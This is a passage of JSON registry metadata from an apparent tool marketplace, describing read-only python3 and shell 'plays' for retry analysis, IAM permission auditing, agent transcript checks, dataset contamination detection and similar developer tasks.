envelope rather than a queueing simulation, correlation and adaptive breakers require supplied parameters, and real latency distributions are not inferred.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-reliability-engineers","domain-distributed-systems","retries","amplification","latency-budget","concurrency","resilience","python"],"primary_domain":"domain-distributed-systems","author":"himanshu748","version":"0.1.0","published_at":"2026-09-04T12:25:49.639509+00:00","visibility":"public","quality_score":1,"size_bytes":10695,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["audit_retry_budget_allocation","bound_end_to_end_retry_latency","synthesize_amplification_budget","compute_cross_layer_attempt_tree","estimate_retry_concurrency_pressure"]},"parameters":[{"name":"input","type":"string","required":false,"default":"","description":"Workspace-relative retry topology JSON. Omit for the bundled demo; pass input=evidence/checkout-retry-stack.json for fresh settings.","example":"evidence/checkout-retry-stack.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6af3fda20a7e099a83140fdc95b2dac724e3ed0281e0cecf0cb31e66172d9256","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/effective-permission-toxic-chain@0.1.0","reference":"himanshu-jha/effective-permission-toxic-chain@0.1.0","uri":"https://play.modiqo.ai/himanshu-jha/effective-permission-toxic-chain@0.1.0","manifest_uri":"https://play.modiqo.ai/himanshu-jha/effective-permission-toxic-chain@0.1.0","name":"effective-permission-toxic-chain","title":"effective-permission-toxic-chain","description":"Computes effective permissions from a portable authorization snapshot instead of reviewing grants one row at a time. Use it for recurring access reviews and after every role, group, inheritance, or policy change. Four independent probes expand transitive group membership, evaluate inherited allow/deny and wildcard rules, detect toxic permission pairs, and construct principal-to-action witness paths; wildcard actions expand from concrete catalog, toxic-pair, privileged, and matched-rule actions, while an unexpandable wildcard is INDETERMINATE and never silently CLEAR. A synthesis join returns severity-prioritized remediation and refuses a clean result if any required dimension is absent. Duplicate principal/group/resource IDs, unknown parent references, and cyclic resource hierarchies fail closed before any grant is evaluated, so malformed topology cannot produce CLEAR. It reads JSON only, writes nothing, and calls no provider. Run with input=snapshots/access.json or omit input for the bundled demo. Limits: the evaluator implements the declared allow/deny model rather than a vendor-specific IAM engine, conditions must already be resolved into the snapshot, and runtime service-control constraints are not inferred.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-security-engineers","domain-iam","authorization","least-privilege","toxic-combinations","graph-analysis","python"],"primary_domain":"domain-iam","author":"himanshu748","version":"0.1.0","published_at":"2026-09-04T12:22:20.526649+00:00","visibility":"public","quality_score":1,"size_bytes":12946,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["expand_identity_closure","evaluate_inherited_wildcards","detect_toxic_permission_pairs","construct_permission_witnesses","synthesize_effective_permission_risk"]},"parameters":[{"name":"input","type":"string","required":false,"default":"","description":"Workspace-relative authorization snapshot JSON. Omit for the bundled demo; pass input=snapshots/tenant-access.json to analyze fresh grants.","example":"snapshots/tenant-access.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c79c9218d2d7f90a7160869c24353015d9ec8e582783a962d4bae04edd9e0754","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/replay-microscope@0.1.3","reference":"bhanu82/replay-microscope@0.1.3","uri":"https://play.modiqo.ai/bhanu82/replay-microscope@0.1.3","manifest_uri":"https://play.modiqo.ai/bhanu82/replay-microscope@0.1.3","name":"replay-microscope","title":"replay-microscope","description":"Run the same prompt twice, diff the paths. Finds repeats of one prompt inside local agent transcripts and reports CONSISTENT, PARAPHRASE, or DIVERGENT with a consistency fraction, so flaky prompts get pinned instead of rerun blind. Zero API keys; needs only python3.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-replay-stability-analysis","audience-developers","transcripts","determinism"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.3","published_at":"2026-09-04T12:10:37.970907+00:00","visibility":"public","quality_score":1,"size_bytes":7575,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["analyze_replays"]},"parameters":[{"name":"transcript_dir","type":"string","required":false,"default":"","description":"Directory of JSONL session transcripts; empty runs the bundled synthetic fixtures","example":"/home/user/.claude/projects"},{"name":"prompt_signature","type":"string","required":false,"default":"","description":"Normalized substring grouping repeats; empty auto-picks the most-repeated prompt","example":"summarize test coverage"},{"name":"max_sessions","type":"integer","required":false,"default":"50","description":"Maximum transcript files to inspect","example":"20"},{"name":"max_bytes_per_file","type":"integer","required":false,"default":"200000","description":"Maximum bytes read per transcript file","example":"500000"},{"name":"number_tolerance","type":"string","required":false,"default":"0","description":"Relative tolerance when comparing numbers across outputs","example":"0.05"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:714f13a9dd6babe7622f6d274a5b76f3391c70781e34b42d3ceefd856b448655","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/instruction-watch@0.1.3","reference":"bhanu82/instruction-watch@0.1.3","uri":"https://play.modiqo.ai/bhanu82/instruction-watch@0.1.3","manifest_uri":"https://play.modiqo.ai/bhanu82/instruction-watch@0.1.3","name":"instruction-watch","title":"instruction-watch","description":"Receipts for who edited the agent's own rules. Hashes AGENTS.md, SKILL.md, and hooks before an agent session and diffs them after, naming any mid-run self-modification for human review. Run as a session gate with zero API keys; needs only python3 and git.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-instruction-drift-watch","audience-developers","transcripts","agent-governance"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.3","published_at":"2026-09-04T12:10:33.753655+00:00","visibility":"public","quality_score":1,"size_bytes":7789,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["watch"]},"parameters":[{"name":"repo","type":"string","required":false,"default":".","description":"Absolute path of the repository to observe; relative paths are refused because a step runs in rote's workspace, not your shell directory","example":"/home/user/my-repo"},{"name":"patterns","type":"string","required":false,"default":"AGENTS.md,CLAUDE.md,SKILL.md,.cursorrules,.clinerules,.windsurfrules,copilot-instructions.md,.git/hooks/*,.opencode/*","description":"Comma-separated instruction basenames or paths (fnmatch)","example":"AGENTS.md,SKILL.md"},{"name":"receipt","type":"string","required":false,"default":"","description":"Prior receipt JSON from receipt_out; when present, mid-run edits are attributed exactly","example":"/tmp/watch-before.json"},{"name":"receipt_out","type":"string","required":false,"default":"","description":"Explicit path for the session-start receipt; refused when inside the audited repo","example":"/tmp/watch-before.json"},{"name":"fail_on_change","type":"string","required":false,"default":"false","description":"Set to true to highlight changes prominently; the step still exits 0 and the verdict carries the signal","example":"true"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:18e6d0898f6dd990f9857010ae285d983bdbe3f9d93bccdac9f90c1e779a670a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/amanm006/eval-contamination-detector@1.0.1","reference":"amanm006/eval-contamination-detector@1.0.1","uri":"https://play.modiqo.ai/amanm006/eval-contamination-detector@1.0.1","manifest_uri":"https://play.modiqo.ai/amanm006/eval-contamination-detector@1.0.1","name":"eval-contamination-detector","title":"eval-contamination-detector","description":"Detect train/eval benchmark contamination and verbatim/near-duplicate leakage with 4-stage DAG verification and balanced candidate arithmetic.","owner":{"kind":"org","slug":"amanm006"},"registry_organization":"amanm006","tags":[],"primary_domain":"domain-uncategorized","author":"amanm006","version":"1.0.1","published_at":"2026-09-04T10:16:30.745189+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":9246,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":3,"names":["verify","analyze","discover"]},"parameters":[{"name":"train_set","type":"string","required":false,"default":"default","description":"Absolute path to training dataset JSONL/text (defaults to bundled benchmark fixture)"},{"name":"eval_set","type":"string","required":false,"default":"default","description":"Absolute path to evaluation/benchmark dataset JSONL/text (defaults to bundled benchmark fixture)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:adee86f1d4a3cc834e8d4a056e01399d7bea9ec40457e64b67badf76cf1ce866","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/cross-split-near-duplicate-leakage@0.1.0","reference":"himanshu-jha/cross-split-near-duplicate-leakage@0.1.0","uri":"https://play.modiqo.ai/himanshu-jha/cross-split-near-duplicate-leakage@0.1.0","manifest_uri":"https://play.modiqo.ai/himanshu-jha/cross-split-near-duplicate-leakage@0.1.0","name":"cross-split-near-duplicate-leakage","title":"cross-split-near-duplicate-leakage","description":"Audits dataset contamination across train, validation, and test splits using four distinct evidence layers: exact SHA-256 identity, Unicode/case/URL/number-normalized identity, 64-bit SimHash proximity, and label/group/time conflicts. The join distinguishes proven duplicate leakage from approximate lexical neighbors and emits identifier-and-hash witnesses without exposing record text. JSON, JSONL, labels, grouping keys, timestamps, distance threshold, and record cap are explicit inputs. Custom split names require a complete split_order and chronology remains INDETERMINATE when order or timestamps are missing. It is read-only; SimHash is lexical rather than semantic, and the quadratic near-neighbor pass is deliberately capped so a truncated or oversized audit fails instead of quietly sampling.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-ml-engineers","domain-machine-learning","data-leakage","simhash","dataset-splits","evaluation-integrity"],"primary_domain":"domain-machine-learning","author":"himanshu748","version":"0.1.0","published_at":"2026-09-04T09:06:05.471873+00:00","visibility":"public","quality_score":1,"size_bytes":9885,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["index_exact_duplicates","search_simhash_neighbors","assess_cross_split_leakage","compare_normalized_content","detect_label_group_time_conflicts"]},"parameters":[{"name":"input","type":"string","required":false,"default":"","description":"JSON array, object with records, or JSONL containing id, split, text and optional label/group/timestamp. Empty uses the packaged demo.","example":"./labeled-records.jsonl"},{"name":"simhash_distance","type":"string","required":false,"default":"6","description":"Maximum 64-bit SimHash Hamming distance for a near-duplicate candidate, 0 to 64.","example":"4"},{"name":"max_records","type":"string","required":false,"default":"5000","description":"Hard record cap for the quadratic cross-split comparison, 2 to 20000. Exceeding it is fatal rather than silently sampling.","example":"10000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:68c63f45e65263bf1ceb80ce9793af633bdfc57555b9a24ea769a44fa9a77b99","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/state-machine-liveness-proof@0.1.0","reference":"himanshu-jha/state-machine-liveness-proof@0.1.0","uri":"https://play.modiqo.ai/himanshu-jha/state-machine-liveness-proof@0.1.0","manifest_uri":"https://play.modiqo.ai/himanshu-jha/state-machine-liveness-proof@0.1.0","name":"state-machine-liveness-proof","title":"state-machine-liveness-proof","description":"Checks a bounded finite JSON state machine for more than syntactic validity: it proves reachability, computes strongly connected components, identifies reachable states with no path to a terminal, and emits a prefix-plus-cycle counterexample for closed livelocks or possible starvation. Four independent graph probes feed a join that distinguishes a proof failure from an incomplete run. It is useful for queue workers, workflow engines, payment states and reconciliation loops before implementation. The contract caps models at 500 states and 5,000 transitions, rejects string-coerced fairness and duplicate edges, and makes terminal semantics explicit: halting by default or reachability goal. Guards remain labels unless callers expand them into states, so the play does not pretend to model arbitrary program semantics.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-software-engineers","domain-formal-methods","state-machine","liveness","graph-analysis","counterexample"],"primary_domain":"domain-formal-methods","author":"himanshu748","version":"0.1.0","published_at":"2026-09-04T07:58:17.125721+00:00","visibility":"public","quality_score":1,"size_bytes":9245,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["compute_reachability","prove_machine_liveness","validate_machine_contract","decompose_strong_components","search_livelock_counterexamples"]},"parameters":[{"name":"input","type":"string","required":false,"default":"","description":"JSON containing states, initial, terminal_states, and labeled transitions. Empty uses the packaged counterexample model; missing or malformed custom input is fatal.","example":"./worker-state-machine.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d090afdcdab5dc2048d82bb861676c4ef1d04d20b3d8278d116c0edf5948dc09","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/assignment-pack/assignment-submission-pack@1.0.0","reference":"assignment-pack/assignment-submission-pack@1.0.0","uri":"https://play.modiqo.ai/assignment-pack/assignment-submission-pack@1.0.0","manifest_uri":"https://play.modiqo.ai/assignment-pack/assignment-submission-pack@1.0.0","name":"assignment-submission-pack","title":"assignment-submission-pack","description":"Produce a reusable assignment submission pack: analyze the requirements, build a solution outline and a submission checklist, and write a submission folder containing README.md, solution.md, and checklist.md.","owner":{"kind":"org","slug":"assignment-pack"},"registry_organization":"assignment-pack","tags":["assignment","submission","checklist","outline"],"primary_domain":"domain-uncategorized","author":"Saifulla1729","version":"1.0.0","published_at":"2026-09-04T05:34:47.27832+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":2876,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["write_readme","create_folder","write_solution","write_checklist","verify_submission"]},"parameters":[{"name":"topic","type":"string","required":true,"description":"The assignment topic (e.g. 'Database Systems - ER Diagram and Normalization')."},{"name":"requirements","type":"string","required":true,"description":"The assignment requirements, one per line, describing what must be produced."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5afdae517129492e027ef44b3d3e0ff4b54be40458bb7d53aaf2552f31b7837e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":3,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"sh","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/mohdavaish/arch-threat-visualizer@0.1.0","reference":"mohdavaish/arch-threat-visualizer@0.1.0","uri":"https://play.modiqo.ai/mohdavaish/arch-threat-visualizer@0.1.0","manifest_uri":"https://play.modiqo.ai/mohdavaish/arch-threat-visualizer@0.1.0","name":"arch-threat-visualizer","title":"arch-threat-visualizer","description":"Autonomous architecture mapper and threat visualizer that generates an interactive dark-mode HTML and SVG dashboard artifact.","owner":{"kind":"user","slug":"mohdavaish"},"registry_organization":"mohdavaish","tags":["visualizer","architecture","dashboard","security"],"primary_domain":"domain-uncategorized","author":"mohdavaish","version":"0.1.0","published_at":"2026-09-04T04:48:30.715545+00:00","visibility":"public","quality_score":0.649999976158142,"size_bytes":3890,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["generate_dashboard"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0bf2bbc7187fbfb8fd41f2ab64d249a6b5eb747d9fe4f2ff8ef4514b20d7dff0","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/prerana/pypi-outdated-checker@0.0.1","reference":"prerana/pypi-outdated-checker@0.0.1","uri":"https://play.modiqo.ai/prerana/pypi-outdated-checker@0.0.1","manifest_uri":"https://play.modiqo.ai/prerana/pypi-outdated-checker@0.0.1","name":"pypi-outdated-checker","title":"pypi-outdated-checker","description":"Given a path to a Python requirements.txt file, checks PyPI for each pinned package and lists which ones are outdated, showing current vs latest version.","owner":{"kind":"user","slug":"prerana"},"registry_organization":"prerana","tags":["typescript","pypi","requirements","outdated-packages"],"primary_domain":"domain-uncategorized","author":"prerana","version":"0.0.1","published_at":"2026-09-03T21:33:41.915742+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":2872,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["check_requirements"]},"parameters":[{"name":"requirements_path","type":"string","required":true,"description":"Absolute path to the requirements.txt file to check"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7926c827d870941d5bd63cdbc78dae7be35a323bd272015b99a6a3c72865e3a7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/shreyas/api-drift-detector@0.1.0","reference":"shreyas/api-drift-detector@0.1.0","uri":"https://play.modiqo.ai/shreyas/api-drift-detector@0.1.0","manifest_uri":"https://play.modiqo.ai/shreyas/api-drift-detector@0.1.0","name":"api-drift-detector","title":"api-drift-detector","description":"Cross-source API contract drift detection, comparing OpenAPI specs, source implementations, README documentation, and tests to find contradictions. Deterministic, read-only, local-only; no network, credentials, or LLM.","owner":{"kind":"user","slug":"shreyas"},"registry_organization":"shreyas","tags":["api","openapi","drift","contract","read-only","tests","documentation"],"primary_domain":"domain-uncategorized","author":"Shreuas2020","version":"0.1.0","published_at":"2026-09-03T17:55:52.889361+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":24783,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["detect"]},"parameters":[{"name":"input","type":"string","required":true,"description":"Workspace-relative path to a JSON request file describing the project and its artifacts."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c9d19948e799ba08a2aecce8b19fbf0652b81169ecfdddea0dd13891212bd6b4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"sh","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/harshitborana75/chronos@0.0.1","reference":"harshitborana75/chronos@0.0.1","uri":"https://play.modiqo.ai/harshitborana75/chronos@0.0.1","manifest_uri":"https://play.modiqo.ai/harshitborana75/chronos@0.0.1","name":"chronos","title":"chronos","description":"Chronos: Intelligent Task Scheduler & Time-Blocking Planner. Slots high-priority work into uninterrupted focus blocks, enforces realistic daily capacity limits, generates an explicit 'What NOT to Do' list, supports optional Google Calendar sync, and features zero-markdown terminal tree rendering.","owner":{"kind":"user","slug":"harshitborana75"},"registry_organization":"harshitborana75","tags":["typescript","scheduler","time-blocking","productivity","calendar","capacity-planning","gcal","focus-blocks"],"primary_domain":"domain-uncategorized","author":"harshitborana75","version":"0.0.1","published_at":"2026-09-03T17:26:20.755839+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5427,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["scheduler"]},"parameters":[{"name":"tasks","type":"string","required":false,"description":"Tasks list e.g. Write code:2h:high, Review PR:45m:medium, Clean logs:1h:low"},{"name":"file","type":"string","required":false,"description":"Optional file path to todo list (e.g. tasks.txt)"},{"name":"horizon","type":"string","required":false,"default":"day","description":"Planning horizon (day | week | month | year)"},{"name":"sync_gcal","type":"string","required":false,"default":"false","description":"Sync focus blocks to Google Calendar (true | false)"},{"name":"start_time","type":"string","required":false,"default":"09:00","description":"Daily start time e.g. 09:00"},{"name":"end_time","type":"string","required":false,"default":"18:00","description":"Daily end time e.g. 18:00"},{"name":"format","type":"string","required":false,"default":"terminal","description":"Output format (terminal | markdown | json)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:12f8604339b4fb76d2ec58c687e262a7ea688ed0c8cc8522a15bd606a7d34ad0","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"deno","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/steja01/sec-filing-timeline-brief@0.1.0","reference":"steja01/sec-filing-timeline-brief@0.1.0","uri":"https://play.modiqo.ai/steja01/sec-filing-timeline-brief@0.1.0","manifest_uri":"https://play.modiqo.ai/steja01/sec-filing-timeline-brief@0.1.0","name":"sec-filing-timeline-brief","title":"sec-filing-timeline-brief","description":"Given a US public company's stock ticker, looks up its most recent SEC EDGAR filings (8-K, 10-K, 10-Q and amendments) via SEC's free public data API and produces a cited filing timeline with dates, item codes, and direct sec.gov document links. Read-only, no credentials; reports filing metadata only, never an investment or risk judgment.","owner":{"kind":"user","slug":"steja01"},"registry_organization":"steja01","tags":["finance","sec","edgar","filings","public-company"],"primary_domain":"domain-uncategorized","author":"steja01","version":"0.1.0","published_at":"2026-09-03T14:06:00.999441+00:00","visibility":"public","quality_score":0.875,"size_bytes":5234,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":2,"names":["fetch_cik","fetch_submissions"]},"parameters":[{"name":"ticker","type":"string","required":true,"description":"US public company stock ticker to look up, e.g. 'AAPL' or 'msft'"},{"name":"requester_contact","type":"string","required":true,"description":"Your organization/name and email, e.g. 'Acme Research research@acme.com'. SEC requires every automated requester to identify itself in the User-Agent header of each request (see sec.gov developer FAQ); this is sent only to sec.gov, never anywhere else."},{"name":"limit","type":"string","required":false,"default":"10","description":"Max filings to return, most recent first"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:45151606baea774e20eb3d6b72b70ccd4b27d31a944b0ce50e51518fc0296159","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"sh","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/playbookacademy/agent-ready@1.0.0","reference":"playbookacademy/agent-ready@1.0.0","uri":"https://play.modiqo.ai/playbookacademy/agent-ready@1.0.0","manifest_uri":"https://play.modiqo.ai/playbookacademy/agent-ready@1.0.0","name":"agent-ready","title":"agent-ready","description":"AI agent readiness scorer. Checks a website for agent-discovery standards (ARD capability manifest, RFC 9727 API catalog, OAuth discovery, MCP server card, A2A agent card, agent-skills index, robots.txt, sitemap). Returns a readiness score 0-5 with pass/fail/neutral for each check and concrete fixes. Read-only, no credentials, one external call per check.\n","owner":{"kind":"user","slug":"playbookacademy"},"registry_organization":"playbookacademy","tags":[],"primary_domain":"domain-uncategorized","author":"playbookacademy","version":"1.0.0","published_at":"2026-09-03T09:29:27.125651+00:00","visibility":"public","quality_score":0.649999976158142,"size_bytes":5406,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":3,"names":["fetch_site","check_discovery","score_readiness"]},"parameters":[{"name":"site_url","type":"string","required":true,"description":"URL of the website to 